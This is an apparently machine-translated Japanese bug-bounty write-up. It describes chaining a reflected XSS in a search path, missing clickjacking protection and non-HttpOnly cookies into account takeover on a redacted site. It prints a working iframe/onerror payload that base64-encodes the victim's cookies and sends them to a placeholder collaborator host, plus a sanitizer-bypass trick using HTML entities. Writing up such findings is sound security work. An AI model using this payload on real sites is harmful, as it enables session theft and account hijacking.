Hello there, ('ω')ノ
低レベルのバグと設定ミスの連鎖がアカウントの乗っ取りにつながるを。
脆弱性:
反映されたXSS
クリックジャッキング
アカウントの乗っ取り
記事:
今回は、アカウントを乗っ取る原因となるいくつかの設定ミスを連鎖できて。
このWebサイトを「redacted.com」と呼ぶことに。
ステップ1:反映されたXSS
ターゲットのサブドメインをナビゲートして。
アプリケーションを深く理解する前に興味深い機能を探していて。
しばらくして、ブログの投稿をタイトルで検索できるページに出くわして。
つまり、簡単に言えば、それは古典的な検索ボックスで。
検索ボックスにテキストを入力するたびに。
パスとしてURLに反映されていることを確認して。
sub.redacted.com/search/{TEXT_HERE}
すぐにいくつかのXSSペイロードをチャックしましたが。
ペイロードはサニタイズされて。
カスタムバイパスシステムのようで、WAFの兆候はなく。
そのため、さらに深く掘り下げて、サニタイズを回避しようと。
多くの試行錯誤の末、 ‘<’ をそのHTMLエンティティフォームである。
<に置き換えたときにXSSペイロードが正常に起動されて。
ステップ2:クリックジャッキング
リンクをクリックするとペイロードが起動することを期待していましたが起動せず。
被害者は、ペイロードを発射するために。
「検索」ボタンを手動でクリックする必要があって。
Burp Suiteでログを調べていたところ。
適切なCSRF保護メカニズムが導入されていることがわかって。
いろいろな方法で回避しようとしましたが、うまくいかず。
ログをみると、「X-Frame-Options」が欠落していることに気付いて。
これは、サブドメインがクリックジャッキングに対して脆弱であって。
つまり、サイトはiframeを使用して任意のサイトに埋め込むことができて。
ステップ3:影響力を高めてATOを実行
影響を高める方法を考えていると。
CookieにHttpOnlyフラグがないことに気付いて。
これは、JavaScriptを使用してCookieに到達できることを意味して。
これを使用して、被害者のCookieをURLの末尾に。
クエリパラメータとして追加することに。
Webサイトでホストした最終的なペイロードは、下記のとおりで。
<!DOCTYPE html>
<html>
<iframe src=https://sub.redacted.com/search/<%20img%20src=x%20onerror=location.href=%22https:%26sol;%26sol;{COLLABORATOR_URL}%26sol;%26quest;q=%22+btoa(document.cookie);%26gt;>
</iframe>
</html>
上記のURLのデコードされたバージョン:
ただし、このステップには詳細が必要で。
JavaScriptでは、btoa()は基本的にbase64で文字列をエンコードするメソッドで。
なぜこれが必要だったかというと。
Cookie内の一部の文字がフィルタリングされていたため。
すべてのCookieを表示できないことに気付いて。
このようにサーバーログを確認すると。
base64でエンコードされた形式ですべてのCookieを取得できて。
テイクオーバーの実行:
クリックジャッキング攻撃の実行方法については。
ユーザにボタンをクリックさせるのは簡単なことだと理解すれば十分で。
被害者がボタンをクリックすると、base64値が得られて。
あとは、値をデコードしてCookieに置き換えるだけで。
要点:
反映されたXSSを見つけることができたら。
他のバグ(CSRF、キャッシュポイズニングなど)と連鎖させて。
重大度をエスカレートしてみて。
低レベルのバグや設定ミスは、それ自体ではほとんど価値がない場合でも。
影響を増大させる上で重要な役割を果たす可能性があって。
Best regards, (^^ゞ